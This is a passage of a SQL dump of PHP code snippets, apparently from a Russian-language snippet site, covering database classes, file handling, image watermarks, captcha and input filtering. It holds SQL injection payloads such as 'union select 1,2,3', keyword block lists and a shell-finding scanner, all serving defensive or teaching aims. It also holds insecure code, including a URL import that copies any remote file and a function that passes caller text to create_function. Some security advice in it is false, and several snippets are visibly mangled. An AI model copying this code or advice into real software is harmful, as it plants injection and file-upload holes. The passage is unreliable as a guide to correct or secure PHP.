\'/[url](.+)[/url]/sU\' , \'<a
href="1">1</a>\' , $text ); return
$text ; }','files_4173_4823_',151),(51,10,'функция подсчета
БД','функция подсчета БД','function query ( $query ) {
global $cquery ; $cquery ++; return mysql_query ( $query );
}','files_4045_1642_',151),(52,10,'рекурсивная функция
спускается по каталогуи переименовывает
файлы с расширениемя из$ext_arr по маске
001.расширение','рекурсивная функция
спускается по каталогуи переименовывает
файлы с расширениемя из$ext_arr по маске
001.расширение','function my_rename ( $dirname ) { $ext_arr =
array( \'jpeg\' , \'jpg\' , \'gif\' ); $dir = opendir( $dirname ); $count =
1 ; while (( $file = readdir( $dir )) !== false ) { if ( is_file ( $dirname
. \'/\' . $file )) { $info = pathinfo ( $dirname . \'/\' . $file ); if (
in_array ( strtolower( $info [ \'extension\' ]), $ext_arr )) { rename (
$dirname . \'/\' . $file , $dirname . \'/\' . str_pad ( $count $count ++ ;
} } elseif ( is_dir ( $dirname . \'/\' . $file ) && $file
!= \'.\' && $file != \' } closedir ( $dir );
}','files_5460_4379_',151),(53,10,'.ICQTEG.','[icq=номер] - тег
для определения онлайн или\r\nоффлайн
номер ICQ. Появится картинка в
виде\r\nромашки.\r\n[icq_photo=номер] - появится
фотка\r\nпользователя ICQ.','<?php function
icq_online($msg){ return preg_replace(\'#[icq=(d{5,9})]#\',\'<img
src="http://web.icq.com/whitepages/online?icq=
1&img=5" alt="1"/>\',$msg); }
function icq_photo($msg){ return preg_replace(\'#[icq_photo=(d
{5,9})]#\',\'<img src="http://c.icq.com/people/img/
show_photo.phpc?uin=1" alt="1"/>\',$msg);
} echo icq_online(\'тра-ля-ля [icq=123456789]\'); echo
icq_photo(\'<br/>тра-ля-ля [icq_photo=123456789]\');
?>','files_4032_2267_',151),(54,10,'удаление лишних
пробелов','удаление лишних
пробелов','<?php $text = preg_replace(\'# {2,}#\', \' \',
$text); ?>','files_2273_3543_',151),(55,10,'водяной знак
(копирайт) на изображение','Пример
использования:\r\n$i-Само
изображение\r\n$l-Копирайт (изображение,
только в .png)\r\n$format-формат файла (.png,
.gif...)\r\n\r\ncopy_img(\'foto.jpg\', \'copy.png\', \'.jpg\');\r\n\r\nи
вуаля, к картинке лепится
копирайт.','<?php function copy_img($i,$l,$format){ //
изображение if($format==\'.png\' or $format==\'.PNG\') $image =
imagecreatefrompng($i); if($format==\'.jpg\' or $format==\'.JPG\') $image =
imagecreatefromjpg($i); if($format==\'.jpeg\' or $format==\'.JPEG\') $image
= imagecreatefromjpeg($i); if($format==\'.gif\' or $format==\'.GIF\')
$image = imagecreatefromgif($i); // ширина изображения
$image_width = imagesx($image); // высота изображения
$image_height = imagesy($image); // логотип $logo =
imagecreatefrompng($l); // ширина логотипа $logo_width =
imagesx($logo); // высота логотипа $logo_height =
imagesy($logo); // Позиция лого $image_x = $image_width -
$logo_width - 10; $image_y = $image_height - $logo_height - 10;
imagecopy($image, $logo, $image_x, $image_y, 0, 0, $logo_width,
$logo_height); // Освобождаем память
изображения-логотипа imagedestroy($logo); //
Перезаписываем изображение imagejpeg($image, $i);
} ?>','files_2050_5008_',151),(56,10,'Импорт
файлов','Импорт файлов','<?php
$url=$_POST[\'file\']; $info_url = pathinfo($url); $whitelist =
array(\'jpg\', \'JPG\', \'jpeg\', \'JPEG\', \'gif\', \'GIF\', \'png\',
\'PNG\'); $dir = \'../files/images\'; if (!empty($_POST[\'sends\'])) {
$ext = $info_url[\'extension\']; if (preg_match(\'/php/i\', $name) ||
preg_match(\'/pl/i\', $name) || $name == \'htaccess\' || !in_array($ext,
$whitelist)) { $err2 .= \'Не верное расширение
файла<br />\'; } if(isset($err2)) echo \'\'.$err2.\'\';
if(empty($err2)){ $name=$URL.\'-\'.rand(3, 99999).\'\'.time().\'.\'.$ext;
copy($url, $dir.\'/\'.$name); $size = filesize($dir.\'/\'.$name);
header(\'Location: ?\'); exit; } } echo \'<div
class="menu"><form
method="POST"
enctype="multipart/form-data">\'; echo
\'Файл:<br /><input type="text"
name="file" value="http://"
/><br />\'; echo \'<input
type="submit" name="sends"
value="Загрузить"/>\'; echo
\'</form></div>\';
?>','files_3171_3809_',151),(57,12,'Вывод последних
данных из БД','Вывод последних данных из
БД','<?php $result = mysql_query("SELECT * FROM `tablica`
ORDER BY `stolb` DESC LIMIT 3"); while
($out=mysql_fetch_assoc($result)){ echo $out[\'stolb\'].\'<br
/>\'; } ?>','files_2208_1948_',151),(58,12,'Вывод из
базы данных PDO','Выводим значения из бд.
Первый вариант, вывод с определенным
условием. Второй вариант,вывод нужного
количество инфы(лимит). Данные
запросы,выполняются с предусмотренным
подключением к бд','// первый варик $lol = $db
-> prepare("SELECT FROM * table WHERE id = :id");
$lol -> execute(array(\':id\' => $user[\'id\'])); while($user
= $lol -> fetch()) { //Выводим,например,имя
пользователя. echo $user[\'name\']; } //второй $lol = $db
-> prepare("SELECT FROM * table limit 3 order by :id
desc"); $lol -> execute(array(\':id\' =>
$user[\'id\'])); while($user = $lol -> fetch()) {
//Выводим,например,3-х пользователей. echo
$user[\'login\']; }','files_1261_3212_',151),(59,12,'PDO: Копируем
структуру таблицы.','Копирование
структуры таблиц из одной базы в
другую:','<? $pdo = new PDO(); $res =
$pdo->exec("DROP DATABASE IF EXISTS `testDB`");
$res = $pdo->exec("CREATE DATABASE `testDB`");
$tables = $pdo->query("SHOW TABLES FROM
`developDB`"); $tables =
$tables->fetchAll(PDO::FETCH_COLUMN, 0); foreach ($tables as
$table) { $res = $pdo->exec("CREATE TABLE `$table ` LIKE
`developDB`.`$table`"); }
?>','files_1940_1708_',151),(60,12,'Вывод
меток','Полезен для соц сетей','function tegs($str){
if(!empty($str)){ $tegs = explode(\',\', $str); $all_tegs = count($tegs);
$str_Tegs = \'<a
href="/tegs.php?search=\'.input($tegs[\'0\']).\'">\'.input($tegs[\'0\']).\'</a>\';
for($i = 1; $i<=$all_tegs-1; $i++){ $str_Tegs .= \', <a
href="/tegs.php?search=\'.input($tegs[$i]).\'">\'.input($tegs[$i]).\'</a>\';
} $str = $str_Tegs; } else { $str = \'Меток нет.\'; } return
$str;}// Использоватьecho tegs(\'php\',
\'mysql\');','files_2125_3227_',151),(61,12,'PDO: кол-во
записей в таблице!','Не для кого не секрет
что у PDO нет возможности выдать
количество записей в таблице, тобишь
аналога (mysql(i)_num_rows).','# подготавливаем
запрос (создаем псевдоним для COUNT(*)) $query =
$db->prepare("SELECT COUNT(*) as count FROM
table"smile; # выполняем $qurey->execute(); #
получаем данные из fetch_obj по средством
псевдонима $count =
$query->fetch(PDO::FETCH_OBJ)->count; # выводим
результат echo
$count;','files_2867_4829_',151),(62,12,'Пример вывода из
базы.','Так же, для вывода 3\r\nданных на
главную ставим LIMIT 3','<?php $q=mysql_query (\'SELECT
* FROM `ваша таблица` LIMIT 10\') ; while($post=mysql_
fetch_assoc($q)){ // Ну и выводим тут, например echo
$post[\'name\']; // только не забываем ставить
фильтры) } ?>','files_4497_5475_',151),(63,12,'Класс
для работы с MySQL','Класс для работы с
MySQL','<?php class mysql { private $mysql_error = \'\'; private
$mysql_version = \'\'; private $mysql_error_num = 0; private $show_error =
true; public $query_num = 0; public $connect = false; public $result =
false; public $time_taken = 0; public function __construct( $show_error =
true ) { $this->show_error = $show_error; if(!$this->connect
= @mysql_connect( DB_HOST, DB_USER, DB_PASS )) { if( $show_error )
$this->display_error(mysql_error(), mysql_errno()); else return
false; } if(!@mysql_select_db(DB_NAME, $this->connect)) { if(
$show_error ) $this->display_error(mysql_error(), mysql_errno());
else return false; } $this->mysql_version =
mysql_get_server_info(); if(!defined(\'COLLATE\')) define (\'COLLATE\',
\'cp1251\'); if (version_compare($this->mysql_version, \'4.1\',
">=")) mysql_query(\'/*!40101 SET NAMES \'\' .
COLLATE . \'\' */\'); return true; } public function __destruct() {
@mysql_close($this->connect); } public function query( $query,
$once = false ) { $time_before = $this->get_real_time();
if(!($this->result = mysql_query( $query, $this->connect ) )
&& $this->show_error) { $this->mysql_error =
mysql_error(); $this->mysql_error_num = mysql_errno();
$this->display_error($this->mysql_error,
$this->mysql_error_num, $query); } $this->query_num ++;
$this->time_taken += $this->get_real_time() - $time_before;
if( $once ) return mysql_fetch_assoc( $this->result ); return
$this->result; } public function get_row() { return
mysql_fetch_assoc( $this->result ); } public function get_array() {
return mysql_fetch_array( $this->result ); } public function
num_rows() { return mysql_num_rows( $this->result ); } public
function free() { return mysql_free_result( $this->result ); }
public function safe( $source ) { return mysql_escape_string($source); }
private function get_real_time() { list($seconds, $microSeconds) =
explode(\' \', microtime()); return ((float)$seconds +
(float)$microSeconds); } private function display_error($error,
$error_num, $query = \'\') { if($query) { $query =
preg_replace("/([0-9a-f]){32}/",
"********************************", $query); $query_str =
"$query"; } die(\' <!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head> <title>MySQL Fatal
Error</title> <meta
http-equiv="Content-Type" content="text/html;
charset=windows-1251" /> <style
type="text/css"> <!-- body { font-family:
Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal;
color: #000000; } --> </style> </head>
<body> <font size="4">MySQL
Error!</font> <br
/>------------------------<br /> <br />
<u>The Error returned was:</u> <br
/> <strong>\'.$error.\'</strong>
<br /><br />
</strong><u>Error Number:</u>
<br /> <strong>\' . $error_num .
\'</strong> <br /> <br />
<textarea name="" rows="10"
cols="52" wrap="virtual">\' .
$query_str . \'</textarea><br />
</body> </html>\'); } } #####Пример
define( \'DB_HOST\', \'localhost\' ); define( \'DB_USER\', \'root\' );
define( \'DB_PASS\', \'\' ); define( \'DB_NAME\', \'db\' ); $db = new
mysql(); // $db = new mysql(false); если не нужно
выводить ошибки $text = $db->safe( $_POST[\'text\']
); // Короткая запись mysql_real_escape_string
$db->query(\'SELECT * FROM my_table WHERE text = \'\' . $text . \'\'
\'); while( $row = $db->get_row() ) // или get_array() { ... }
$row = $db->query(\'SELECT count(id) FROM my_table\', true); //
Запрос возвращает один ряд echo $row[\'count(id)\'];
$db->free(); //Если запрос был
"большой", желательно
освободить ресурсы после использования
echo \'Запросов сделано: \' . $db->query_num; echo
\'Запросы выполены за: \' . $db->time_taken .
\'c\'; ?>','files_3143_3349_',151),(64,12,'Правильное
использование PDO::prepare','Правильное
использование PDO::prepare','<?php #
конфигурации $db_host = \'localhost\'; $db_name = \'project\';
$username = \'root\'; $password = \'\'; # выполнение
подключения try { $db = new
PDO("mysql:host=".$db_host.";dbname=".$db_name,
$username, $password, array(PDO::MYSQL_ATTR_INIT_COMMAND =>
"SET NAMES utf8"));
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING); echo
"Мы подключены к ".$db_name; } catch
(PDOException $e) { die(\'PDO->ERROR::\'.$e->getMessage()); }
# подготавливаем запрос $stm =
$db->prepare(\'SELECT * FROM table\'); # выполняем
$stm->execute(); # преобразуем в
ассоциативный массив $row =
$stm->fetch(PDO::FETCH_ASSOC); # используем как
душе угодно if($row) { echo \'Таблица есть!
Значит можно вывести с нее данные в
ассоциативном массиве.\'; } else {
print_r($db->errorInfo()); }','files_2724_4368_',151),(65,12,'SQL
dumper','Простой sql дампер. Для импор sql файлы.
Думаю полезна для тех кто сидеть с
телефона.','<?php #########################################
# SQL dumper # # Автор: KING ( Mahmudjon Sayfiddinov ) # # Агент:
uzcms@bk.ru # # Qisqacha aytganda barchangizga omad! #
######################################### mysql_connect(\'localhost\',
\'msu\', \'123456\'); // имя пользователя и пароль
mysql_select_db(\'msu\'); // название базы данных
mysql_query(\'SET NAMES utf8\'); echo \'<div>SQL
dumper</div>\'; // импортим sql фала $my_sql =
file_get_contents(\'база.sql\'); // смените на свой sql
файл $sql = explode(\';\', $my_sql); for($i = 0; $i <
count($sql); $i++){ mysql_query($sql[$i]); } echo \'Нет ошибка
типо "Warning: file_get_contents..." ? То всё
хорошо! =) А то вы неправильно указали пут
.sql файла =(\';
?>','files_2486_1934_',151),(66,12,'Размер базы
данных MySQL','Подсчёт размерa базы\r\nданных
через MySQL','<?php $sql = new mysqli(\'localhost\', \'user\',
\'pass\', \'dbname\') or die (\'MySQLi ERROR\'); $q =
$sql->query(\'SHOW TABLE STATUS\'); while($row =
$q->fetch_assoc ()) { $dbsize+=$row [\'Data_length\']+$row
[\'Index_length\']; } echo $dbsize.\' байт\';
?>','files_5290_2388_',151),(67,12,'Вывод n-го кол-во
данных из БД.','Скрипт выводит последние 3
записи из БД.','<?php $result =
mysql_query("SELECT * FROM `tablica` ORDER BY `stolb` DESC LIMIT
3"); while ($out=mysql_fetch_assoc($result)){ echo
$out[\'stolb\'].\'<br />\'; }
?>','files_1472_4882_',151),(68,12,'Защита от
иньекций','Защита от иньекций','Способы
защиты от SQL-инъекций Самый простой
способ защиты от SQL- инъекции –
«обрамлять» параметры SQL-запроса
одиночными кавычками (\'), поскольку через
GET- и POST- запрос невозможно передать
символ одиночной кавычки (он будет
автоматически заменен сочетанием
символов – \' – т.е. экранироваться). SELECT *
FROM `table_name` WHERE `param` = \'$param_name\' ORDER BY `sort` ASC;
SQL-запрос в случае инъекции будет
выглядеть примерно так: SELECT * FROM `table_name`
WHERE `param` = \'10 union select 1,2,3 /*\' ORDER BY `sort` ASC; Т.е.
для обработчика запросов, при
отбрасывании части запроса после /*,
запрос будет выглядеть примерно так: SELECT
* FROM `table_name` WHERE `param` = \'10 union select 1,2,3
Обработчик запросов, не найдя
закрывающей кавычки посчитает этот
запрос ошибочным и не выполнит его. Если
попытаться GET- запросом передать
фрагмент кода с кавычкой: 10\' union select 1,2,3/* ,
то, после отбрасывания комментария,
SQL-запрос будет выглядеть так: SELECT * FROM
`table_name` WHERE `param` = \'10\' union select 1,2,3 В этом
случае обработчик также не выполнит этот
запрос, потому что не найдет закрывающей
кавычки, т.к. сочетание символов \' будет
расценено не как закрывающая кавычка, а
как внутренний символ \', который должен
содержаться в поле `param`. Однако такой
способ не гарантирует стопроцентной
защиты от SQL- инъекций. Приведем
несколько дополнительных способов
Всегда проверяйте числовые параметры
функцией intval. При проверке такого
параметра: 10\' union select 1,2,3/* , функция intval
вернет значение 10, что исключает
возможность SQL- инъекции. Однако не все
параметры являются числовыми. Например:
http:// somesite.dom/index.php? section=about Здесь параметр
section является строковым, и функция intval
здесь не может быть применена. Что бы
избежать вредоносного запроса, можно
воспользоваться следующими функциями:
mysql_escape_string – экранирует все спецсимволы;
Так же можно проверять строковые
параметры на наличие в них таких слов как
"select", "union",
"order", "char",
"where", "from". Пример
функции на PHP 5: <?php function escape_inj ( $text ) {
< br / > $text = strtolower ( $text ); //
Приравниваем текст параметра к нижнему
регистру <br /> if ( < br /> ! strpos (
$text , "select" ) && //
<br/> !strpos($text, "union")
&& // <br/> !strpos($text,
"select") && // <br/>
!strpos ($text, "order") && // Ищем
вхождение слов в параметре <br /> !
strpos( $text , "where" ) && //
<br/ > ! strpos( $text , "char" )
&& // <br/> ! strpos( $text ,
"from" ) // <br/> ) { <br/ >
return true ; // Вхождений нету - возвращаем true
<br /> } else { < br/> return false ; //
Вхождения есть - возвращаем false <br
/> } < br />} < br /> $section = $_GET [
section]; // Читаем параметр <br />if (!
escape_inj ( $section ) ) { // Проверяем параметр
<br/> echo "Это SQL-инъекция." ;
< br / > exit (); < br/ >} else { < br /
> $result = mysql_query ( "SELECT * FROM `tbl_name` WHERE
`section` = $section " ); < br/> ... //
Продолжаем работу <br />} ?>
Строк: 1 Никогда не храните пароли в базе
данных в открытом виде, обязательно
шифруйте их (например, функцией sha1). С
помощью SQL- инъекции легко
"достать" данные из базы данных,
а если они будут зашифрованы, то есть
большая вероятность того, что
злоумышленник не сможет ими
воспользоваться. Для обеспечения
конфиденциальности логина и пароля для
доступа к базе данных, функции
подключения к базе данных лучше хранить
в отдельном файле и подключать его в
каждой странице сайта. Так же, отключение
вывода на экран ошибок, возникших при
неверном запросе, сильно усложняет
задачу злоумышленнику. Что бы отключить
вывод ошибок достаточно написать
следующее (например, в файле подключения
базы данных): ini_set (\'display_errors\', \'0\');
Старайтесь проверять результат каждого
выполняемого запроса на выполнение и
количество найденных записей. Если их
количество равно нулю, перенаправляйте
пользователя, например, на главную
страницу, это обеспечит хорошую защиту
от SQL-инъекций. Пример на PHP 5: <?php $section =
$_GET [ section]; // Читаем параметр <br
/>$result = mysql_query ( "SELECT * FROM `tbl_name` WHERE
`section` = $section " ); // выполняем запрос
<br />if (! $result II mysql_num_ rows ( $result ) == 0) { //
Кол-во найденных полей = 0, или запрос не б
ыл выполнен <br /> header ( "Location:
<a href=" http : //dcms- social.ru/go.php?
go=aHR0cDovLyRfU0VSVkVSW0hUVFBfS
E9TVF0=">Ссылка</a> /"); //
Уходим на главную страницу <br/> exit
(); <br/>} else { <br/> ... //
Продолжаем работу <br/>} ?>
Строк: 1 Если Ваш сайт не содержит
разделов, в которых производится запись
или редактирование строк в базе данных,
то необходимо у пользователя базы
данных, под которым происходит
соединение с базой, отключить все права,
кроме права на чтение данных.
По-умолчанию, у пользователя базы данных
есть права и на удаление, и на
редактирование. Для разделов сайта,
требующих больших прав, например книга
отзывов или форум стоит завести
отдельного пользователя, у которого
будет право на редактирование только
конкретной таблицы. А для системы
управления сайтом необходимо завести
отдельного пользователя базы данных, т.к.
ему необходимы полные права. Все
описанные выше способы не гарантируют
стопроцентной защиты от SQL-инъекций,
однако, помогут предотвратить их в
подавляющем большинстве
случаев.','files_3543_4595_',151),(69,12,'поиск
уязвимостей в скриптах','Задача: найти
шелл или\r\nдругой уязвимый скрипт на
сервере.\r\nВ ручную это займёт
большое\r\nколичество времени,
поэтому\r\nприбегнем к помощи php.
Для\r\nначала нужно рекурсивно собрать
ссылки на все существующие\r\nфайлы, а
далее мы проверим\r\nкаждый скрипт на
наличее\r\nвредоносного кода и
при\r\nнеобходимости уберём его с\r\nнашего
сервера.','<?php /* findrisk.php */ set_time_limit(0);
ini_set("set_time_limit",0);
ini_set("memory_limit", "128M");
function _readdir($d,&$files) { global $opendir; $dir = opendir
($d); while ( $file = readdir ($dir)) { if (( $file !=
".") && ($file !=
"..")) { $opendir=$d."/".$file;
if(filetype($opendir)=="dir") {
_readdir($opendir,&$files); } else { $files[] = $opendir; } } }
closedir ($dir); } _readdir(".",&$files); $exp =
array( \'file_put_contentss*(\', \'fwrites*(\', \'fputs*(\', \'evals*(\',
\'systems*(\', \'<frame[^>] \', \'<iframe[^>]
\' ); $regexp = \'/.{15}b(\'.implode
($exp,"|").\')b.{15}/Uis\'; foreach ($files as $index) {
$content = file_get_contents($index); if(preg_match_all($regexp,$content,
$match)) { //print_r($match); echo
"<b>".$index."</b>";
for($j=0;$j<count($match[0]);$j ) { $match[0][$j] = htmlspecialchars
($match[0][$j]); $match[1][$j] = htmlspecialchars ($match[1][$j]); $text =
str_replace($match[1][$j], "<font
color=\\"#FF0000\\"><b>".
$match[1][$j]."</b></font>",
htmlspecialchars($match[0][$j])); echo
"<br>".$text; } echo
"<br><br>"; } }
?>','files_2360_2957_',151),(70,12,'Определение
браузера посетителя
сайта','Функция\r\nопределения браузера по
данным\r\nполя User-Agent','<?php
//------------------------------------------------------------------- //
Функция определения браузера по данным
поля User-Agent
//-------------------------------------------------------------------
function GetUserAgent() { // Получить переменную
окружения $str=getenv(\'HTTP_USER_AGENT\'); //
Попытаться определить известные
браузеры по сигнатурам if (strpos($str,"Avant
Browser",0)! ==false) { return "Avant Browser";
} elseif (strpos($str,"Acoo Browser",0)! ==false) {
return "Acoo Browser"; } elseif
(eregi("Iron/([0-9a-z\\.]*)",$str, $pocket)) { return
"SRWare Iron ".$pocket[1]; } elseif
(eregi("Chrome/([0-9a-z\\.]*)", $str,$pocket)) { return
"Google Chrome ".$pocket[1]; } elseif
(eregi("(Maxthon|NetCaptor) (
[0-9a-z\\.]*)?",$str,$pocket)) { return $pocket[1].$pocket[2]; }
elseif (strpos($str,"MyIE2",0)!==false) { return
"MyIE2"; } elseif (eregi("(NetFront|K-Meleon|
Netscape|Galeon|Epiphany| Konqueror|". "Safari|Opera
Mini)/([0-9a-z\\.]*)",$str, $pocket)) { return
$pocket[1]." ".$pocket[2]; } elseif
(eregi("Opera[/ ]([0-9a-z\\.]*)", $str,$pocket)) { return
"Opera ".$pocket[1]; } elseif (eregi("Orca/([
0-9a-z\\.]*)",$str, $pocket)) { return "Orca Browser
".$pocket[1]; } elseif (eregi("(SeaMonkey|Firefox|
GranParadiso|Minefield|".
"Shiretoko)/([0-9a-z\\.]*)" ,$str, $pocket)) { return
"Mozilla ".$pocket[1]." ". $pocket[2];
} elseif (eregi("rv:([0-9a-z\\.]*)",$str, $pocket)
&& strpos($str,"Mozilla/",0)!==false) {
return "Mozilla ".$pocket[1]; } elseif
(eregi("Lynx/([0-9a-z\\.]*)" ,$str, $pocket)) { return
"Lynx ".$pocket[1]; } elseif (eregi("MSIE
([0-9a-z\\.]*)",$str, $pocket)) { return "Internet
Explorer ".$pocket [1]; } else { // Это какой-то
неизвестный браузер return "Unknown"; }
} ?>','files_3540_4498_',151),(71,12,'классок для базы
данных MySQL','классок для базы данных
MySQL','<?php /* Есчё один классок для базы
данных MySQL * * Скрип писался не совсем в
трезвом состоянии) * * * */ */ class My_SQL { var
$user_name ; var $password ; var $db_host ; var $db_name ; var $des ; #
Дескриптор подключения /* * Конструктор
класса * @param string $username - Логин
пользователя * @param string $password - Пароль
пользрвателя * @param string $dbname - Имя базы * @param
string $dbhost - Хост. по дефолту = localhost */ function
__construct ( $username , $password , $dbname , $dbhost = \'localhost\' ) {
$this -> db_host = $dbhost ; $this -> db_name = $dbname ;
$this -> user_name = $username ; $this -> password =
$password ; } /* * Функция соединения с базой
данных * */ function connect() { $this -> des = mysql_pconnect
( $this -> db_host , $this - > user_name , $this ->
password ); if(! is_resource ($this -> des )) { die(
\'Невозможно подключиться к базе Данных\'
); } if(! mysql_select_db ( $this - > db_name ,$this -> des
)) { die( \'Невозможно выбрать базу данных\' );
} } /* * Выполняем запрос к базе данных * @param
string $query - Строка запроса * @param string $function -
Функция обработки данных после
вполнения запроса * @return void */ function execute(
$query , $function = \'\' ) { if(! $this -> des ) { $this ->
connect(); } $res = mysql_query ( $query , $this -> des ); if(!
is_resource ($res )) { die( \'Неудалось выполнить
запрос к базе данных\' ); } if(! $function == \'\') { if(
$func = call_user_func ( create_function ( \'$res\' ,\'return \'. $function
), $res )) { return $func ; } } return( $res ); }
}','files_5444_3192_',151),(72,12,'* Организация
полнотекстового поиска в MYSQL *','*
Организация\r\nполнотекстового поиска
в\r\nMYSQL\r\n*','<?php //что ищем $search =
\'поисковая строка\' ; /* Для организации
поиска при небольшой нагрузки и коротких
текстах отлично подходит оператор LIKE,
пример */ $q = mysql_query ( "SELECT * FROM tablica WHERE
pole LIKE \'% $search %\' " ); /* Тут вроде бы все
нормально, но когда количество записей и
их объем сильно возрастет вы заметите,
что поиск начинает занимать довольно
много времени, и в итоге может достичь
недопустимых пределов. В таких случаях
необходимо воспользоваться ИНДЕКСАМИ,
например, сделаем через phpMyAdmin
полнотекстовый индекс для ячейки pole, sql
дамп создания таблицы приведен ниже CREATE
TABLE `tablica` ( `id` int(11) NOT NULL auto_increment, `pole` TEXT,
PRIMARY KEY (`id`), FULLTEXT KEY `kluch` (`pole`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8 обратите внимание на FULLTEXT KEY `kluch`
(`pole`), индекс повешен на ячейку pole, как
нетрудно заметить, размер базы данных
из-за индекса увеличился примерно вдвое
(за все надо платить). Теперь искать по
такой базе надо вот так: */ $q = mysql_query (
"SELECT * FROM tablica WHERE MATCH pole AGAINST (\' $search \')
" ); /* Скорость поиска возрастет
минимум в 10раз, так же из плюсов то, что
результаты будут отсортированы по
релевантности (тоесть сначала вся фраза,
потом по частоте попадания слов)! (если не
применять ORDER BY для иной сортировки
конечно) Также есть и минусы: 1. слова
менее 4 символов не учитываются (как не
имеющие "веса") 2. русские фразы
находятся без учета морфологии 3. размер
базы увеличивается из-за индекса 4.
операции INSERT и UPDATE выполняются медленнее
из-за индекса если у вас в таблице более
10000 строчек и размер бд более 5мб наверное
стоит перейти на полнотекстовый поиск */
?>','files_2270_4583_',151),(73,18,'Запрет открытия
сайта в iframe окне','Запрет открытия сайта в
iframe окне','<? header("X-Frame-Options:
SAMEORIGIN");
?>','files_1661_2176_',151),(74,18,'антиспам для
сайта','заменяет ссылки спама на слово
реклама','<?php function antispam_help($text) { $dom =
array(\'www.\',\'wap.\'); //поддомены
if(preg_match(\'#^(https?|ftp)://(\'.implode(\'|\',$dom).\')?\'.str_replace(\'.\',
\'.\', $_SERVER[\'SERVER_NAME\']).\'#\', $text[0])) return \'<a
href="\'.$text[0].\'">\'.$text[0].\'</a>\';
else return \'[реклама]\'; } function antispam($text) {
return
preg_replace_callback("#(https?|ftp)://S+[^s.,>)];\'"!?]#",
\'antispam_help\', $text); }
?>','files_4006_2184_',151),(75,18,'Фильтрация
текстовых данных','Вызов функции:\r\n$msg =
text($_POST[\'msg\']);','<?php function text ($var) { return
htmlspecialchars ($var, ENT_ QUOTES, \'UTF-8\'); }
?>','files_4583_4332_',151),(76,18,'Фильтрация
числовых данных','Вызов функции:\r\n$number =
int($_GET[\'number\']);','<?php function int ($var) { return abs
(intval ($var)); }
?>','files_3648_1805_',151),(77,18,'Надежная
captcha','Надежная и в то же\r\nвремя простая
captcha на php','<?php session_start(); $md5_hash = md5(rand
(0,99999)); $security_ code = substr($md5_ hash, 25, 5); $enc =
md5($security_ code); $_SESSION[\'captcha\'] = $enc; $width = 150; $height
= 30; $image = ImageCreate ($width, $height); $ white = ImageColorAllocate
($ image, 255, 255, 255) ; $ black = ImageColorAllocate ($image, 0, 0, 0);
$ grey = ImageColorAllocate ($ image, 200, 200, 200) ; ImageFill($ image,
0, 0, $white) ; ImageString($ image, 10, 5, 0, $ security_code, $ black);
header("Content- Type: image/png"); ImagePng($image);
ImageDestroy($image);
?>','files_2811_4671_',151),(78,18,'Фильтр
нежелаемых GET и POSTзапросов','Данный PHP
код\r\nдолжен быть подключен\r\nко всем
файлам. При
желании\r\nможно\r\nдоработать','<?php foreach
( $_GET as $ getstr ) { if (eregi( \'\' |<|>|
char|union|select| bench|,|`\', $getstr ) ) { header ( "Location:
not_ query.php" ); exit; }} foreach ( $_POST as $ poststr ) { if
(eregi( \'\' | char| union|select|bench| alert|`\', $poststr )) { header (
"Location: not_ query.php" ); exit; }}
?>','files_1462_2092_',151),(79,18,'Защита от
XSS','Защита от XSS думаю\r\nте кто знают
поймут','<?php function antihack(&$ var ){ if(is_array
( $var )) array_walk ($var , \'antihack\' ); else $ var = htmlspecialchars
(stripslashes( mysql_ real_escape_string ($var )), ENT_ QUOTES , \'UTF-8\'
); } foreach(array ( \'_SERVER\' , \'_ GET\' , \'_POST\' , \'_ COOKIE\' ,
\'_ REQUEST\' ) as $v ) { if(!empty(${ $v })) array_walk (${ $v } ,
\'antihack\' ); } ?>','files_5140_5145_',151),(80,18,'Защита
от прямых ссылок.','Это позволит
скачать\r\nваш файл только с
вашего\r\nсайта.\r\nнадо создать вот такой
.htaccess','<?php <?php # Защита от прямых
ссылок # Это позволит скачать ваш файл
только с вашего сайта. # надо создать вот
такой .htaccess RewriteEngine on RewriteBase / # если надо
разрешить скачку при пустом рефере
раскомментируйте это # RewriteCond %{HTTP_ REFERER} !^$
# Дальше список идет набор разрешенных
доменов RewriteCond %{ HTTP_ REFERER } !^ http (s )?: //(www.)?
snippets.pp.ru [NC] RewriteCond %{ HTTP_ REFERER } !^ http (s )?: //(www.)?
wen.ru [NC] # Форматы файлов, для которых
устанавливается защита (например, mp3)
RewriteRule .( mp3 )$ http: //ya.ru # Все запросы на http://
snippets.pp.ru/1.mp3 перекинутся на http:// ya.ru
?>','files_2548_2928_',151),(81,18,'Защита от XSS и
SQL-инъекций','Защита от XSS и
SQL-инъекций','<?php function check($var){ $var =
trim($var); $ var = htmlspecialchars ($var); $var = mysql_real_
escape_string($var); return $var; }
?>','files_5468_5043_',151),(82,18,'Безопасная
запись в БД','Вызов функции:\r\nmysql_query
("INSERT INTO table SET\r\nlogin = \'".guard
($login)."\', pass = \'".md\r\n5($pass','<?php
function guard($var) { return mysql_real_ escape_string(trim($ var)); }
?>','files_1561_1704_',151),(83,16,'Перевод из WIN в
UTF8','Функция перевода)','<?php //------------------
Функция перекодировки из WIN в UTF
--------------------// function win_to_utf($str) { if (function_exists
(\'mb_convert_encoding\')) return mb_convert_encoding ($str, \'utf-8\',
\'windows-1251\'); if (function_exists(\'iconv\')) return
iconv(\'windows-1251\', \'utf-8\', $str); $win1251utf8 = array(
"xC0"=>"А","xC1"=>"Б","xC2"=>"В","xC3"=>"Г","xC4"=>"Д","xC5"=>"Е","xA8"=>"Ё","xC6"=>"Ж","xC7"=>"З","xC8"=>"И","xC9"=>"Й","xCA"=>"К","xCB"=>"Л","xCC"=>"М",
"xCD"=>"Н","xCE"=>"О","xCF"=>"П","xD0"=>"Р","xD1"=>"С","xD2"=>"Т","xD3"=>"У","xD4"=>"Ф","xD5"=>"Х","xD6"=>"Ц","xD7"=>"Ч","xD8"=>"Ш","xD9"=>"Щ","xDA"=>"Ъ",
"xDB"=>"Ы","xDC"=>"Ь","xDD"=>"Э","xDE"=>"Ю","xDF"=>"Я","xE0"=>"а","xE1"=>"б","xE2"=>"в","xE3"=>"г","xE4"=>"д","xE5"=>"е","xB8"=>"ё","xE6"=>"ж","xE7"=>"з",
